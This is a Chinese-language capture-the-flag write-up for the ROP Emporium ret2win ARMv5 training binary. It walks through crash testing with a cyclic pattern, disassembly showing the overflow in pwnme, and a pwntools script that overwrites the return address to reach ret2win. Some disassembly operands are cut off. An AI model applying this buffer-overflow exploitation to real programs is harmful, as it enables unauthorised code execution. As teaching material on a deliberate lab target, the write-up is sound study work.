ret2win_armv5
依赖:
sudo apt install qemu-arm-static gcc-arm-linux-gnueabi
信息收集
$ file ret2win_armv5
ret2win_armv5: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.3, for GNU/Linux 3.2.0, BuildID[sha1]=a82dade296415721f90684517d0e6259d4ba2905, not stripped
黑盒测试
$ ulimit -c unlimited && sudo bash -c 'echo %e.core.%p > /proc/sys/kernel/core_pattern'
$ cyclic 200 > cyclic.txt
$ qemu-arm-static ret2win_armv5 < cyclic.txt
ret2win by ROP Emporium
ARMv5
For my first trick, I will attempt to fit 56 bytes of user input into 32 bytes of stack buffer!
What could possibly go wrong?
You there, may I have your input please? And don't worry about null bytes, we're using read()!
> Thank you!
qemu: uncaught target signal 11 (Segmentation fault) - core dumped
Segmentation fault
$ gdb-multiarch ./ret2win_armv5 qemu_ret2win_armv5_20220506-214059_17303.core
...
$ cyclic -l 0x6161616a
36
反汇编
$ arm-linux-gnueabi-objdump -d ret2win_armv5
...
00010518 <main>:
...
1053c: ebffffa4 bl 103d4 <puts@plt>
10540: e59f0020 ldr r0, [pc,
10544: ebffffa2 bl 103d4 <puts@plt>
10548: eb000008 bl 10570 <pwnme>
...
00010570 <pwnme>:
10570: e92d4800 push {fp, lr}
10574: e28db004 add fp, sp,
10578: e24dd020 sub sp, sp,
1057c: e24b3024 sub r3, fp,
10580: e3a02020 mov r2,
10584: e3a01000 mov r1,
10588: e1a00003 mov r0, r3
1058c: ebffff9f bl 10410 <memset@plt>
10590: e59f0040 ldr r0, [pc,
10594: ebffff8e bl 103d4 <puts@plt>
10598: e59f003c ldr r0, [pc,
1059c: ebffff8c bl 103d4 <puts@plt>
105a0: e59f0038 ldr r0, [pc,
105a4: ebffff8a bl 103d4 <puts@plt>
105a8: e59f0034 ldr r0, [pc,
105ac: ebffff82 bl 103bc <printf@plt>
105b0: e24b3024 sub r3, fp,
105b4: e3a02038 mov r2,
105b8: e1a01003 mov r1, r3
105bc: e3a00000 mov r0,
105c0: ebffff80 bl 103c8 <read@plt>
105c4: e59f001c ldr r0, [pc,
105c8: ebffff81 bl 103d4 <puts@plt>
105cc: e1a00000 nop ; (mov r0, r0)
105d0: e24bd004 sub sp, fp,
105d4: e8bd8800 pop {fp, pc}
105d8: 000106b0 .word 0x000106b0
105dc: 00010710 .word 0x00010710
105e0: 00010730 .word 0x00010730
105e4: 00010790 .word 0x00010790
105e8: 00010794 .word 0x00010794
...
000105ec <ret2win>:
105ec: e92d4800 push {fp, lr}
105f0: e28db004 add fp, sp,
105f4: e59f0010 ldr r0, [pc,
105f8: ebffff75 bl 103d4 <puts@plt>
105fc: e59f000c ldr r0, [pc,
10600: ebffff79 bl 103ec <system@plt>
10604: e1a00000 nop ; (mov r0, r0)
10608: e8bd8800 pop {fp, pc}
1060c: 000107a0 .word 0x000107a0
10610: 000107c0 .word 0x000107c0
Pwnme开头的PUSH {R11,LR} ,是先入栈LR(返回地址),再入栈R11(相当于EBP)。add fp, sp, #4 ,这应该是FULL栈(栈指针指向当前顶部数据的地址)。缓冲区位于fp+36 ,和测试偏移一致。
Exp
from pwn import *
context.clear()
program = "ret2win_armv5"
context.arch = "arm"
context.endian = "little"
context.bits = 32
def getio(program):
io = process(program)
return io;
io = getio(program)
pRet2Win = 0x000105ec;
payload = bytes("A"*36)
payload += p32(pRet2Win)
io.recvuntil(">")
io.sendline(payload)
io.interactive()
|